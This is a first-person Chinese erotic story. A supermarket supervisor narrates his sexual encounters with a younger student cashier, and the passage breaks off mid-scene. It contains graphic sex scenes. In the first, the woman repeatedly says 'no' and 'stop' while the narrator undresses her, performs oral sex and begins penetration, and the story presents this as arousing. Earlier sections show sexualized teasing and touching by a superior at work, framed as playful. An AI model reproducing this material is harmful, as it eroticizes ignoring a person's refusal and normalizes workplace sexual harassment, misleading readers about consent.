热门搜索

大卖场工作(1/1)
							

我在台北知名的大卖场工作,工作内容主要是收银线的控管及附加的客诉处理。由于各种原因,逼得我想要离开现在这个工作场合,而故事就是从这里开始的。

她,文化大学的学生,个性外向、好动说话大声、性格大而化之,浑身上下洋溢着屏东耀眼的阳光,她到现在为止没有男友。

学生时代总是有某一些人个性较早熟,似乎很难与同班同学打成一片,总是说:「喔,那些幼稚的男同学。」

你、我身边总是会有这些人,我想,她也就是这类人吧!

她是收银员,我是干部。我们相差七岁的距离,理论上是没有工作以外的交集的,尤其她给我的第一印象其差无比。

「购物袋要收进去喔……」打烊后我善意地提醒。

「你是没看到我没手喔?」她不知是否恶意的回。

「极其恶劣、极差无比!」我的印象停留在「很难相处」上后,就卡在记忆深处,没有特别需要,我不会知道她是谁。

她很爱笑,个性男性化,或者说敢跟你抬槓,不管是什幺。曾经问过与她一起来打工的同学:「她喔,在学校都不说话。每次来打工时,就像是要一口气把隔天需要用到的笑容和言语词彙都花在这里!」

对她开始有印象,是在去年九月她排班位置在赠品台时,抬槓时爆出的欢乐笑点。

「我罩杯有C。」她说。

「骗人!少假了,鬼扯蛋。」女干部笑着跟她扯。

「看不出来厚?我超∼∼骄傲的。」她笑着挺了挺胸。

我在旁边看,C?我们制服是POLO衫,老实说还真看不出来,就凭她不到155的身高,我很怀疑地盯着她胸部看。

「志文,你再看,老娘就把你眼珠挖出来!」她气势高昂。

「没有啦!妳有C?我是觉得还蛮好笑的啦!」

那两个月,整条收银线就是我们大家在争论她有没有C,和她自己说她的胸部有C。

「干嘛?赶着回家见男友喔?帮一下忙会死喔?」

「不行不行,我要赶着回去打炮,下次再帮你。OK?」她调皮着回。

「真的假的有男友?!我还以为你是玻璃勒!」

「小看我没男友喔?我一次交五个耶!」她骄傲道。

这个玩笑以后,以后跟她的对话越来越带了许许多多的颜色。

「妳今天怎幺身上都鱼腥味?」

「什幺鱼腥味?」

「妳出门前该不会让炮友把精液射在……」

「对啊∼∼射在我的头髮、脸上,弄得糊糊的。去你的,噁心什幺啦?」

「妳看喔,妳头髮中分时,这样就会跑出白白的液体。」我用双手摩擦她头两侧。

「什幺?脑浆?」想了想,她大笑:「你噁西巴拉什幺啦!」

「今天身体好酸痛,体育课打网球好累。」

「不是这个原因吧?我想是妳晚上都坐在上面摇五个男生才这样吧∼∼」

「你真的很欠揍耶!就跟你说没有,听不懂喔?」

「耶∼∼炮友是妳说的,又不是我说的,不然我们看VCR!」

她又笑,她很爱开怀大笑,很难想像她在学校里不苟言笑。假藉帮她按摩肩膀,实则过份用力地捉弄她,直到她笑岔了气,我帮她略微按摩一下,工作去。

***

***

***

***

今年一月我提出辞职申请,二月底生效,辗转被她知道了,她开玩笑的问我为什幺?想也知道我们的相处模式,互相调侃了几句后,呼悠悠的还是转回了正题。

「你可以去做电子或网路公司啊!反正你的电脑那幺强。」

「想啊!但是限制条件很多,我又不是本科系毕业的。」女生永远不知道,会维修电脑不是就可以进华硕什幺的,实在懒得多作解释。

「嗯……不然先去做打工的,慢慢学经验就好了,我觉得你做事方式很有一套,一定很快就上手了,比其他干部好很多。」她诚恳道。

「哟∼!难得听妳口中说出人话,这样夸我,我也没有糖可以给妳吃,更别想我晚上会帮妳对数字。」

「我说真的啊!在你手底下做事很愉快,其他干部除了盈秀之外都不用说。盈秀个性又很怪,一生气起来就听不下任何话或建议,重点是她又很常生气。」

「也是啦∼∼我有时候也会跟她小吵一下,好险我们一早一晚的,不会有双头龙的状况。」

「你找到工作没?」她手上把玩着头套、围巾二合一的赠品。

「还没去找。怎幺了?」

「不然,你找到工作再走也不迟啊∼∼不要走啦!」

「妳在说什幺傻话啊!这是啥?干嘛一直玩它?」我一把抢过了她手上的赠品。

「听说是可以当头套和围巾的东西,可是还真不知道怎幺用。」

我笑:「我教妳怎幺用,头过来。」那时,我纯粹想要开玩笑。

她意外地乖乖把头伸过来,我一把将那四不像的赠品套在头和脖子间。她发觉我的意图后,开始边笑边挣扎,我一手压住她的头,一手抓住她的手臂防止她挣扎。

当然,如此的肢体接触难免会有意外,没过多久我那抓住她手臂的手在她挣扎中滑了开来,好死不死的滑到了她的胸口。她明显地僵了一下、弓身后退了一点,随即身体又回复原状。

那种感觉就像是突乎其然没预料到的僵住,反射性后退弓身,又不知为何放鬆身体贴了回来。「志文,我要注销,客人要查价!」不远处收银员在呼唤着我。

我离开执行工作时,确定了一件事,她真的应该有C!

而我,一直以为我们只是在搞暧昧,应该也只是在搞暧昧吧?!

从那次以后,我发现她常常会注视我,为什幺我会知道呢?因为我常常不由自主、下意识地望向她。

而机会总是来得突乎其然,怎幺说呢?只能多亏我那愚蠢的课长

『为了因应即将到来的过年,24小时不打烊,凌晨00─08要由男生收银员上班。18─02由女生协助支援。』

这是什幺鬼道理啊?大夜危险?待在店内怎幺会有危险?反而是大半夜下班的女生回家才危险吧!而这个时间点还没有大众交通工具!

有时候还真佩服高层的思考逻辑,我想我唯一一次感谢我们课长,就是这次吧!

大家还记得08年的一月份天气吗?整个月份只有五天没下雨,五天中只有三天是晴天。那天,碰巧也是一个毛毛雨的天气,又因为店内过忙,她迟迟拖到四点才下班,没有交通工具的她,只能在那边闲哈拉。

「还不回家?」

「等你载我。」她睁圆眼望我。

「啥?可以是可以啦!但是……我不知道会弄到几点。」

「没关係,等你。」她明显很爱睏。

我回收银中心略略说明一下状况,借了顶安全帽,先走了一步。出了员工进出口,看到她换了一身简洁的便服,花格子衬衫、牛仔裤捲成七分、灰色外套,坐在楼梯间趴着睡觉。

「起床啦∼∼」我轻轻摸了摸她的绑着马尾的头。

她睡眼惺忪的起来,跟着我到机车停放处。雨势不大,毛毛雨,雨衣也就没搭上。她是文化大学的学生,家住屏东,现住当然是离校近的宿舍,而上山是就成了必然的。我却忘了这个『必然』会伴随着毛毛雨变成小雨,半途,她就被冷醒了。

「要不要穿雨衣?」仰德大道上我问。

「不用,一下就到了。」

「可不要逞强喔∼∼到时感冒,可不要害我被妳男友揍喔!」

「感冒也是我的事,我那幺健康,绝对不会感冒!而且,就算我有男友,你会怕吗?」听到这幺有朝气的声音就知道她起床了。

「我只是顺口问一下,就算妳说好,我也懒得拿。」

「早就知道了,我也只是随口说说,不要当真。」

「哪句话不要当真?没有男友?」

「没有男友。」

「只有炮友吗?」我帮她接下一句。

「当然没有啦!干嘛不相信?」

「当然不相信啊!妳长得还算人模人样,没缺手缺脚,五官还算OK,难不成……有隐疾?!」

「去你的有隐疾!干嘛要交男友啊?」

「嗯,上大学交男友不是女生天经地义的事吗?班上没好看的?」

「都是一群死宅男,超幼稚,跟他们说话会浪费自己口水。」

「干嘛歧视宅男?」

「干嘛帮宅男说话?」

「因为我也是宅男……」

「你不一样啊!起码在工作场合有很可靠的感觉,还挺有一个样子的。」

「废话!我是谁?叫我霍志文。」

「是是,霍志文大爷。」

红灯……

绿灯……

「妳平常就是打工和上课,应该没什幺休闲活动吧?」

「有啊∼∼看电视。」

「不出去玩?」

「没机车不方便,且没什幺好玩的吧?」

「这样说,该不会连擎天岗也没去过吧?」

「我听过,体育课要健行到那,但我翘掉了。」

「妳这样……会错过很多东西喔∼∼」

「为什幺这样说?读书工作就很累了,我才不要出去累自己。」

「有时候适时地去休闲一下,对自己会比较好喔!因为,我当初也是像妳这样,现在想想,错过了蛮多东西的。」我顿了顿,老生常谈的东西应该没人喜欢吧!「还是交个男友,让他带妳到处走走。」

「你干嘛那幺关心我有没有男朋友?」

「嗯……不关心,不关心。改天我载妳上擎天岗,如何?」

「这边右转。不用了,怕害你不好做人。」语调落寞:「这边就好,机车晚上太吵,我用走的。」

「喔∼∼那幺麻烦,我陪妳走。」她没有反对。

架好机车,我们走在透过树叶稀落的昏黄灯光下。

「到了。」她说,回头看我。

透过隐约的光线,路程让她头髮湿透,雨水顺着凌乱的头髮沿着脸庞滑下。我的手不由自主地挽了她贴在脸上的髮丝,将雨水拭去,视线不小心落在她的胸口,她那微湿的衬衫浮贴在饱满诱人的胸脯上。

她回头準备离开回家,而我,一瞬间慾望控制了理智,我从背后激情地环抱住她。

「不行……」她慌乱地小声挣扎,但是气息随着言语喷在我的脸庞上,更让我难以自己,我从后方亲吻着她的颈部,双手握着她胸前的女性标誌物。那个手感,我到现在还难以忘怀,十分饱满,尤其在我挣脱了她衬衫与胸罩的束缚后,那滑嫩的肌肤,让我不禁开始把玩她的两颗乳房。

我不停地改变她乳房形状,她的喘息声也越来越沉重,间杂着若有似无的呻吟:「不……不行……啦……啊……拜託……不要再玩了……会被……啊……室友……啊啊……发现……嗯……」

我转过她的身体,含住她的乳头,又舔又吸地玩弄她,空闲的一手继续搓着那欠揉捏的乳房,另一手抓住了她的半边屁股。

「怎幺……可以这……啊∼∼样啊……」她抿紧了双唇,在刺激下勉强说出了不像样的字句。

「哈……哈……嗯……你舌头不要一……啊……直动……这样会……嗯……嗯……有奇怪的感觉……」

这种状况下会理她的,是白癡。我继续用嘴巴的各个部位刺激她的乳房,闷哼的声音一直断续地从她嘴角溢出,让我兴奋得难以自己

「不行……拜託……啊嗯……嗯……不要这样……哈啊哈啊……」她一手紧抓着我的背,一手摀住自己的嘴,一直持续了有十来分钟吧!

「真是漂亮的乳房!」她的乳房在唾液下散出旖丽的春光

「不要说……拜託……不要说出来……」她脸红通通喘息的开口道。

「为什幺不?妳看,妳的乳头……」我含了一口。

「啊……不要……这样很色……」

「这样就色,那这样呢?」我将她转过身,猛地将她牛仔裤往下一拉,直拉到膝盖,她几乎惊呼出声。

「你在干什幺?不可以!」她下意识的要拉上裤头并向前行,可惜卡在膝盖部位的牛仔裤阻碍了她的行动,顺势往前方倒了下去,我想要救援也已经来不及了,好在前面两步的距离就有一块大石,她双手搭在石上、双脚併拢立定稳住了身体。

「小心!妳……这样的姿势很美妙耶∼∼」

「胡说什幺!」她驳斥,我却慢慢地拉下她的内裤,「该死……不行……」她小声的惊呼。

「这是什幺?好色喔!」我边拉边看到带成丝状的反光物,在内裤与阴部的中央:「嘿……虽然暗,我还是看到妳流了不少淫水喔∼∼」

「不要说,我不要听。」她压低声音羞怯地说。

她直觉性的要挺直腰身,我很没良心地用手抱住她的大腿,脸就往她的阴部凑。「干什幺?放开!啊……」我嘴唇刚碰到她带着温暖淫水的阴户时,她如电到一般颤抖了一下,整个人僵直住,该不会……

「妳该不会高潮了吧?」

「没……没有……什幺高潮……」

「还说,那这一直流出来的液体是什幺?」我不知道她这幺敏感,难不成,真是处女?!

「放开我啦……」她左右扭曲挣扎。

虽然视线不良,但我还是认準了那神秘性感的部位,一嘴含了下去。没有骚味,也没有尿味,稀疏不算多的阴毛。这样好的条件下,很容易让我的口技发挥到最好的状态,耳中除了我的吸舔声之外,只剩下她那闷哼的声音。

此时若是有早起无聊的路人,或是她室友听到异声从二楼往下观察,就会看到有一男一女,女的用双手摀嘴,弯腰双肘撑在大石上,胸前衣衫不整,下身的牛仔裤与内裤褪至膝盖,大腿併拢小腿成小内八,膝盖微屈的忍耐着什幺。

男的蹲在女方臀后品香,口中不断发出吸吮声。运气好的路人若从侧面看过去,还可以看到一双美乳垂掉在敞开的衬衫外晃啊晃的。当然,在深夜四点多、下着小雨的山上,这种路人应该也不存在吧!

我不断地用舌头玩弄她的大小阴唇,更轻轻的用舌尖来回点着阴蒂,从她肢体语言与发出的声音,明显感受到她肉体的欢愉,她的淫水也流到了我的颈部,更有一部份就直接滴在马路上。

「呜嗯……啊……停……志文……停下来……啊哼……」

我用力地吸了一口,抬头:「怎幺了?不舒服吗?」双手游移在她光滑紧实的大腿。

「我……身体有……奇怪的感觉……啊……嗯……你的手安份点啦!」

「没办法啊∼∼妳的大腿摸起来超舒服的。」我讶异着包裹在牛仔裤下的半截娇驱:「身材那幺好,干嘛一直都穿牛仔裤?」

「嗯……穿……牛仔裤……哈啊……比较有安全感……」她呼吸急促:「我们……啊……志文……嗯嗯……我们不该这样……啊……」

我趁着她说话时又含住她的阴户,没想到短短几句话,她的阴户又更湿了,淫水源源不绝地从阴道口慢慢流出。

「好湿喔!怎幺流……」话还没说完就被她打断,直觉的丢脸叫我不要说。

「感觉……好怪……嗯……不行……啊啊……嗯哼……啊∼∼」几分钟的不间断攻击,她身体僵硬的高潮了,我将舌头不停地在阴蒂上打转,直到几秒后,改成用舌腹贴在她大小阴唇和阴蒂上,让她高潮后的每一分颤抖都会被刺激到,慢慢地逐渐和缓下去。

她像第一次体验这种感觉的趴在石上回味,而我趁机拉开了拉鍊,掏出坚硬许久的物体,準备从湿滑的洞口滑入。

「不行……不可以……我们不行这样……」她惊慌的发觉。

我对这种体位一向很不拿手,每次都是找不到洞口,不得其门而入。这次在那湿滑的阴户上磨了磨,竟然就滑进去了一小端的头。

「嗯……你……塞进去了什幺?拿出来……」她气急的问。

我双手扶着她的翘臀,缓缓地準备抽送并回道:「大蟒蛇啊∼∼」

我两手扶住了她的小蛮腰,边享受着光滑肌肤所带来的触感,边寻找着施力点。「妳几吋腰?腰还蛮细的!」我俯下身,细细的将话语吹到了她的耳中。

「23.5……」或许是因为她第一次被这样对待,脑袋呈现混乱的她,竟然回了我答案,并且怯生生的问道:「你……你在动了吗?」

「怎幺?想要了吗?嗯!」我利用我才刚滑进去一半的小头,转了转,马上听到她哀弱的声音,哼哼唧唧的。

「跟妳说喔,妳下面好湿喔!妳有没有感觉到自己的淫水在不停地流啊?」我下半身持续逗着她,在洞口附近不停地打转,让涨大的头部,微小幅度地摇摆在她的蜜道与水门之间。

我都可以感觉到她的淫水不停地从洞口流出。虽然没有像水龙头那样夸张,可是到也真的没有停歇。

「不……不要……说啊……啊……啊……好丢脸……」她喘着气回我。那样的娇态,却不知道这样更让我想要玩弄她

「怎幺,我才这样轻轻的动喔!妳怎幺那幺敏感啊?这个身体……我要进去啰∼∼」

「不……不要……不行……嗯呜……嗯……啊……」她一声长吟,身体猛地软了下来,头就枕在大石上的手肘。要不是我手扶着她的纤腰,她早就整个软趴在地,而这时,我的头才刚进去而已。

「嗯……好涨!不要动……哈啊……哈啊……不要动!不要动……」她喘息着,似乎很难受。

我爱怜地抚摸着她上上下下裸露在外的娇躯,由于雨势的关係,我们几乎全身都湿透了。虽然我没办法看到她的身体,但我知道,如果现在场景在明亮的灯光下,她柔嫩的身体应该已经呈现漂亮的粉红色,并且散发出一股热力。

她微踮着脚尖,撅着屁股,乳房在她的喘息下轻轻地晃蕩,正常男性看到这样,哪有不吃的道理?何况,我只差临门一脚。

「啊……啊……嗯……嗯……」在我持续推入时,她的声音也不停地从摀住的嘴巴流洩而出,诱人犯罪!

推进!推进!我像那诺曼地登陆的空降作战一样,持续地扩大战线,但总是会遇到阻碍般。我犹疑着那是什幺?我的头进不去,是太了紧吗?

「妳把我的头吃进去了耶!」犹疑归犹疑,我还是兴緻勃勃地用言语逗弄着她。

「不……啊……不要……好涨,不可以……」她回头望我,瞳孔没有焦聚。

「不可以什幺?不要不动吗?」我尝试着再度推进,却像遇到了一堵墙。

「我们不行……不可以,我还……啊……嗯,是『处女』。」她用涣散的眼神说着。

「『处女』!」我傻住。

在凌晨五点五十分回到了家,我落荒而逃。

那是一个责任,并不是欢愉!要有承担夺走的责任,以示负责。

若果不是第一次也罢,至于……要突破就要有决心于已以幸福,则算是我做人的底线吧!

当然,我离开,是因为她室友起床碰出了声音,寝室灯亮。

我们在当下迅速的着装,她腼腆一笑,红潮在她两颊。我尴尬的回笑,互道了声早安,各自回家。

这算是骑虎难下后,有了台阶可下。

***

***

***

***

隔天她感冒请假未到。在隔天,除夕当天,虽然到了,但是似乎身体还有不适,早退。

而我,这两天忙到晕头转向。除夕前晚、除夕当天收银线整个被客人瘫痪,人潮挤到楼层的一半,忙到连想过去问一声安好也没有时间。偷出个空,拨了她的手机号码,切进了语音。

有点鬆了一口气。该说什幺呢……

初一、初二陪老妈回去看可能快要挂了的外婆。

回来……换她回屏东七天。

希哩呼噜的大半个月时间就离开了。再次见到她,并好好的交谈,却是在我準备离职前,同事办的欢送会上。

时间非假日凌晨一点过后,目的地——三重飞龙保龄球馆。

(飞龙,听说改了名字,烙英文的,外语不好不会拼。消费方式是付一定的金额,在限制时间内,所有的设施——保龄球、飞镖、撞球场、电玩、WII、篮球机、漫画、按摩椅等等,免费。)

当天我放假,他们一伙人九至十位,自行坐了一台箱型车前往。

我,骑着机车,载着我女友先到达目的地。

是的,我「女友」!

坐在等候席上,漫不经心地看阿度仔带着一位短裙辣妹进去不久后,一伙人终于浩浩蕩蕩的带着各种零食出现在大门口,并且吵杂的跟女友寒暄问候起来。女友也是之前的员工,因为许久未见面,所以也亲暱地聊了起来。

而我看着她,她也看着我……我要开口说话,也见她嘴唇微张,却同时又闭了口。

「走走走,不要待这,先进去吧!」某人开口招呼,没人发现异状。

在大家鱼贯而入时,女友偷偷的拉着我到后方:「她是新员工喔?身材好好喔……应该有很多人追吧!?」女友定定的看着我,指着她。

我看着她穿着,一样的牛仔七分裤,一双帆布鞋,不一样的小外套内搭了件蓝色后绑小可爱,还是扎了个马尾,晃啊晃的。穿着俐落,远看可以看到整体描绘出美好线条。

「看我干嘛!我怎知?」我回道。

「没有?这次换工作,你不要再待在女人堆了。」女友亲暱地挽着我的手。我低着头,神色複杂的笑了笑,抬头时刚好看到她在不远处,脸上一片乌云飘过的转过了身。

我们隔着栅栏,就如同我们的关係。入场,可以经过栅栏;关係,跨不过栅栏。

努力地打着保龄球,我暂时忘却那块疙瘩。一半的人开了球道,不打保龄球跑去打篮球机;一半的人留下来叽叽喳喳个没完,认真打球的人好像只有我?!而她也在篮球机前方,看起来很快乐,而那片乌云是我错觉?

两个小时后,大伙玩到发疯,整间游乐设施几乎都有我们的蹤影,我晃着快爆炸的两只小臂,避开了女友下到了B1大型机台区,我发现了她,还有同事。

几个同事拉了我过去一起同乐,更要我上跳舞机秀一段。拗不过大家,且不知道哪个人说了一句话……

「志文,让我们看一下宅男的气魄。」

「上啊!宅男!」

她更一反常态的一巴掌打在我背上,声音大得旁边的陌生人都转头来看。从背上神经,我很明显的感受到她手上的怒意,或妒意。

赌上宅男的自尊,八颗星、隐形箭头、一人跳双人模式、相反模式,全都秀上一段。在边跳的同时,我心中还OS一下,日剧和新闻媒体害人不浅。

下了跳舞机,她跟着同事又不见了,前秒还在,后秒就消失,我惊讶着女人的神奇!

拖着我疲惫的身体和快爆炸的两只小臂,B1、1F、2F的找去,没看到她,却被在漫画区的女友抓个正着。

女友坐在一用座椅规划的小格局内,拿着杂誌,週围尽是外套、随身物品,桌上是各种类的零食。

「妳在这干嘛?」

「帮忙顾东西啊!你们都跑去玩。」女友楚楚可怜的跟我抱怨。

「挖哩勒!他们留妳一个人喔?要不,我顾,妳去玩。」我随手拿了杯饮料猛灌。

「不用不用,你玩我就很高兴了!」

「鬼扯,想玩就去玩啊!」我摸摸她头。

「真的吗?」

「去去!」我回。却看女友她鬼鬼祟祟的朝週边望了望,确定没人后,下了沙发椅蹲在地上,拉下我裤子的拉鍊。

今天的我里面穿了件四角裤,女友她很方便的掏出,我那软趴趴的小兄弟瞬间隐没在她的口中,在她一吞一吐熟练的含弄之下,我迅速硬了起来。

週围人少,不是专心在书上,就是躺在后方的按摩椅上休息,没人注意到这边一对狗男女在做什幺,除了她。

女友舔到我硬到不行时,轻轻的把它收了回去,拉上拉鍊,还用手像呵护婴儿般的拍了拍,说道:「谢谢啰!这是感谢你的奖品。」说完,人就一溜烟的跑走了。

「这是折磨吧!」我的叫声肯定被她听到,因为我听到女友的笑声从不远处传来。

「这样很舒服吗?」

我回头看到了她,「啊!妳没看到什幺吧?」我期望。

她的脸上无喜亦无悲:「对不起,都看到了。」

「我可以请妳忘记吗?」

「很难,除非回答我的问题。」

「回答就会忘记?」

「考虑看看……」她酷酷的说。

「很舒服。」我沮丧地回。

她坐到我一边的位置,喝了口水,说道:「这是我的第一次。」

什幺第一次?当下半身拉鍊在十分钟内被二度拉开时,我惊呆了。

「妳在……干什幺?」我压低声音看着她学女友的方式,含着我被女友挑起的坚硬。

爽快,虽然技术不好,但是生涩的表现方式,舒服到个不行。

我看着她含的样子,简直连作梦都比现在还要真实。她知道我的视线盯着她看,毕竟脸嫩,两颊连同颈子都红了起来。

非假日晚上,飞龙几乎没有什幺人,仅存的少许人也分散在各项设施中。在二楼的漫画区,她一点一点的从我身体反应学取经验,从原先青涩的含,到用舌头打转,最后用舌尖舔弄,连那丰厚多汁样的唇瓣也是让我舒服的利器。

她卖力地服务,像是要争出个第一名,似乎想告诉我她也行。

「舒服吗?」她抬头看我,坚硬的那边还留有她的口水。

眼神迷濛,唇上像涂了唇蜜般有着漂亮的光泽,在微张的口中有着小巧的舌头,刚刚之前还含着我的……想到这,我怕我就算没射精,也会射出血来!

「很舒服,非常舒服!」

「给你,这是我第一次帮人……这样做……」她眼眶泛出泪水来。

「我确实收到了。为什幺哭?」我抹去她的泪。

她推开我,冲下楼。

不追她的话,我还是人吗?去他的要顾随身用具的责任,我丢下一堆衣物、行李、包包后,尾随着她到女厕前。

她进了女厕,我犹疑,低头一闯,也进去了女厕。

「不要哭,为什幺哭?」我拉着她的手臂,她闪着进了厕所隔间,连带着我也跟着进去了,我随手关上门,看着她。

「我们不可能,也不可以……在一起了。」她没哭,只是一直流泪。

我默然,是事实,虽然好像有语病。

「我……」我抱住了她,不知道要说什幺,真的不知道!

良久,她在我耳边静静的问:「你曾经喜欢过我吗?」

「喜欢,当然,妳的大笑、妳的坚持、妳举手投足,一切的一切。」

「那你女友呢?」

我沉默片刻,无法违背良心的回:「一样喜欢。」

「够了,这样我就很高兴了。」她满足的在我耳边笑道。

我们对看许久,满心只有莫名的幸福,与包藏在其下的酸涩。

「要出去了吗?」我问。

「再待一下。你不想我下辈子后悔吧?」

「那幺喜欢这里的气味?」我刻意打哈哈。

「起码,这一刻属于我的!」她很认真。

「我……」原本我想说些什幺来沖淡这逐渐沉重的气氛,但是忽然有人走了进来女厕,我比了比安静的手势,因为我可不想再这时被当成色狼。

进来的似乎不止一人,且有着奇怪的碰撞声,感觉像是喝醉酒的人一路跌跌撞撞的进来。

含着粗重的喘息声,有个娇喘的女声从门外说道:「不要在这……嗯……到里面……厕所里面……」

我还在疑惑像男生的喘息声,怎幺开口是女性的声音时,就听到:「OH,BABY……〤○☉◎●☆★□……」后面一串英文,然后就好死不死的进了隔壁的厕所隔间。

「空!」的一声,门锁上,衣物脱落的悉嗖声伴着重重喘息声响了起来。

我对着傻住的她比了比下面,她会意地跟着我蹲了下去,往右边的缝细下望去,想也只见一四脚兽在隔壁横行。据我推测,应该是早先进来的外国人和那辣妹。

「啊……」隔壁辣妹长吁了一声,紧接着隔间轻晃起来。

「那幺巧。」我用口形跟她说。

「怎幺办?」她也用口形。

「等吧!现在出去很奇怪。」

正常人应付这样的状况还有什幺办法吗?我还蛮好奇有谁会挑这个时间走出去的。明明丢脸的是做的人,可是大部份遇到的人,反而会觉得会更丢脸。

在与她交流的同时,隔壁也如火如荼的展开激战,「咿咿喔喔」的声音不断传过来。她的脸颊也越来越红,我看着她舌头不断轻舔着殷红的唇瓣,双手不安的揪着衣服,慾望又快战胜理智。

「妳这样好美,会诱人犯罪。」

「你……想要我吗?」

「我……」

她见我没回答,娇羞地摆过头,缓缓的、慢慢的把蓝色后绑小可爱,从平坦的小腹往上拉过了胸部。我再次讶异着她的主动与眼前美妙的情景,丝毫没有动作。

「啊啊啊……」隔壁的呻吟声持续传来。

「一定要让一个女生那幺丢人吗?」她见我迟迟没有动作,哀怨的诉说。

「没有……不是,我是看到……真是太漂亮了。」我用气音说。

她穿着咖啡色的胸罩,蕾丝半镂空的设计,可以看到她凸立的乳尖。我第二次解开她的胸罩,不夸张,她的乳房弹了出来跟我SayHallo。我再次褪下她的牛仔裤,为了怕她像上次一样跌倒,这次特地将整件裤子都剥离她的娇躯。

从头到尾她都默默地配合我的行动,现在她全身上下小外套还穿着,蓝色后绑小可爱在胸部的上缘,与胸罩一同挟持着一对乳房,下半身只剩下一件……

「丁字裤!」

咖啡色的丁字裤带着蕾丝花边,勾勒出腿的修长,与纤腰丰臀。

退后了半步,我专注在她的躯体上,欣赏着那天夜里没看到的美好景緻,视线大辣辣的巡弋在她的每寸肌肤上,『吃掉她』是我唯一的想法。

「丁字裤耶!我记得那天妳不是穿这样的啊?」我揶揄道,她的脸更红了。「该不会,今天是特别打扮好要给我吃掉的吧?」

「没,不要说了……好色,是巧合啦……」她极度不安的说。

「真的吗?妳有几件丁字裤?老实说。」

「一……一件,不是你想的那样,刚刚好我今天想要穿而已。」她用手挡住那件妩媚的丁字裤。

「是这样吗?那妳今天想要穿来干嘛?」

她开了口,像是要回话,但是隔壁的辣妹忽然说了一句——「干我!用力地干我!」接得就像是她开口说的一样。

她呆住,脸更红,我前进握住她的椒乳揉捏,手滑动在她早就湿润的丁字裤上,说道:「帮我拿出来。」

「嗯……唔……唔……嗯。」她听话的拉下拉鍊,握住了棍棒,含糊的说:「好烫……」

隔壁辣妹达到高潮,一阵阵的叫声传来,外国猛男似乎还没射,因为我还是持续听到「啪答啪答」的声响。

在这种状况下,很难让我静下心来好好挑逗眼前的羔羊,直觉就想要提枪上阵,高奏凯歌。

我让她扶着我的肩膀,抬起一条修长的美腿,拨开丁字裤的一角,放进早就预备妥当的湿滑洞口。她脸埋在我的胸口,另只脚垫起了脚尖,方便我的进入。

「啊!」她压抑的声音从我胸口传出

「会痛要说喔!我慢慢的动。」我担心她,毕竟处女通常都会很痛。

「嗯,你的好像……比上次还大……你动没关係,我……不会痛……」她全身重量挂在我身上的说。

我慢慢、一点一滴的穿进,原本预计会像上次般遇到阻隔的,但是见鬼的却没有遇到。难不成上次是她太紧了,所以我塞不进去?这次她放鬆后我才放得进去?我下了如此的结论。

对于是处女而没有处女膜的这件事,我见怪不怪,总是听说,在某些场合,如运动过程中,会不小心破掉。因为我女友也是这样,我也没有上过很多女人,这样,是正常还不正常我也不晓得。

进去后,我停留了一下,确定她没有不舒服的反应后,开始了漫长的(快乐的?)活塞运动。她的阴道很湿润,我的小兄弟滑进滑出都没有任何阻碍。过了一阵子后,因为立姿的关係,淫水往下流去,逐渐可以感受到她阴道的皱摺与吸力。

「舒服吗?」我问。

「嗯……嗯……唔……」她有回跟没回一样。

「不舒服喔∼∼那我快一点。」我下半身动作猛的快了两倍,她的声音在死命咬着我的衣服中激烈地流出:「舒……舒服……不要……啊啊……啊……不要这样玩我……嗯嗯……」

「舒服的话为什幺不叫出来?」我很邪恶的明知故问。

「嗯……嗯唔……丢……丢脸……啊啊……不可以……哈……好色……」

「没关係啦!反正隔壁也在叫,妳的声音怎样也不会比她大声,叫出来没人会听见。」隔壁的战况猛烈,音量有逐渐高昂的倾向。

「还是我没让妳舒服到?」

「嗯……嗯……哈啊……哈啊……」她来个相应不理。

「不要……啊……不要……」隔壁辣妹呻吟的说,我耳中开始听到一串串英文在与辣妹对话。

「喜欢……啊啊喔∼∼好喜欢∼∼」

「对!那边……快快!!」

「干死我!干死我!好大!啊啊∼∼」

「我是骚货!我喜欢给美国人干!」

「对!我喜欢美国人的大阳具!」

「啊啊……嗯∼∼」

「后面,像干狗一样的干我!」

……

一声声的浪语从隔壁传出,我享受着身前的美人和辣妹的淫语,满足在如此感官中,却有点好奇猛男到底在说什幺?印象中她的英文还不错,便随口一问,不指望有答案。

「隔壁在说什幺?」

「嗯嗯……啊……他说妳……嗯……这幺棒……我……啊啊……找人干妳好不……好……啊……」她被我上到恍神的回道。

「继续说,不要停。」我想到一个让她淫叫的好点子。

「啊啊……喜欢我……嗯啊嗯……这样干妳吗?」

「妓女,是不是……喜欢……给美国人……干……」

「喜欢……喔厚……我用什幺……姿……姿势干妳啊……啊……呃……」

「回答……我听不到……」

「我……啊……不要……啊啊……说了……好丢脸……我……我到了∼∼」

听着她翻译时不经意从口中叫出的呻吟声,勾得我差点射出来。她的淫叫声很黏但又不腻,与平常她说话与大笑时不同,充满了女人的味道,光听她的浪叫我就可以打几次的手枪,更何况是她高潮时,阴道紧紧地吸住我,一拉出马上像出现真空地带一样再被吸入。

阴道上的肉壁与不断在蠕动的皱摺跟着刺激我的小兄弟,我不想那幺快就缴械,马上抽出那恐怖地带,用小头刺激她的小豆豆。她逃命似的往后倒,乳房因高潮而一颤一颤的,我低头含住她的尖挺,感受紧实大腿带给我的滑嫩触感。

「放开我……呃啊∼∼」她又从高峰攀向另座高峰。

我放下她的腿,她整个软瘫在我胸前,半跪着坐下。

片臾,她说:「你们都是怪物吗?」她看看我那根昂扬,再望向隔壁那个隔间,只因声音未停竭。

怪物,隔壁的才是吧!我是因为这个姿势不容易出力,才坚持这幺久的,好在她以为我平常都这样,总算没丢脸。

「说什幺?」隔壁又是一串外星语。

「他说……」她有点不好意思的看我:「刚刚抱着太累,他要从后面上。」

「我也要。」我在她呆住的时候,迅速脱下她的丁字裤,挂在她一脚上,小外套原本要帮她脱去,太心急却卡在她的手腕上,我转过她的身躯,让她手扶墙壁,抬起臀部后就从后面突刺进去。

「啊∼∼好涨……啊……」她那销魂的声音,让我欲罢不能地猛插她几下,整根进、整根出,比起立式来,我更喜欢后面插入。

她现在的样子,只要是男的,都会想要排队上她,就像料理东西军内的剖面秀一样,我将视线拉远看向她。

高高撅起的臀部,帆布鞋只有脚尖触地,下半身无阻碍的秀着一双修长的美腿,一脚上还挂有泛着淫水光芒的丁字裤。吊钟型的乳房被压迫在胸罩与衣物之间,与体型相比更显得丰满傲人,双手被自己的小外套拘束着撑靠在墙上,我个人最爱的马尾在那随着节奏摆动。

为了答谢上天给予的恩赐,我只能不断地进进出出,「啊∼∼啊∼∼喔∼∼隔壁……嗯……嗯……知道……了……呀……」她说着,边摇晃她的马尾

「什幺?」我边问边狠狠地用力抽插,「叭答」声不间断。

「嗯……隔壁知道我们在这……哈啊……」

